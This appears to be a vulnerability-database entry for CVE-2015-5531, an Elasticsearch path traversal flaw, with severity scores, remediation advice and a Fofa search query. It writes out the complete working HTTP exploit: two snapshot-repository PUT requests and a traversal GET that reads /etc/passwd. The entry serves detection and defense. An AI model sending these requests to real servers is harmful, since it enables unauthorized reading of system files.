🔙 목록으로 돌아가기

CVE-2015-5531: ElasticSearch <1.6.1 - Local File Inclusion

TitleElasticSearch <1.6.1 - Local File Inclusion
Authorprincechaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
RemediationUpgrade ElasticSearch to version 1.6.1 or later to mitigate the vulnerability.
CVSS Score5
EPSS Score0.91581
CVE IDCVE-2015-5531
CWE IDCWE-22
Fofa Queryindex_not_found_exception
Tags cve2015 cve vulhub packetstorm elasticsearch intrusive vkev vuln

🔍 Vulnerability Description

ElasticSearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.

🌐 HTTP Request

PUT /_snapshot/test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Content-Length: 107
Accept-Encoding: gzip

{

    "type": "fs",

    "settings": {

        "location": "/usr/share/elasticsearch/repo/test"

    }

}
PUT /_snapshot/test2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_18) AppleWebKit/605.1.18 (KHTML, like Gecko) Version/18 Safari/605.1.18
Connection: close
Content-Length: 125
Accept-Encoding: gzip

{

    "type": "fs",

    "settings": {

        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"

    }

}
GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-5531.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-5531.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A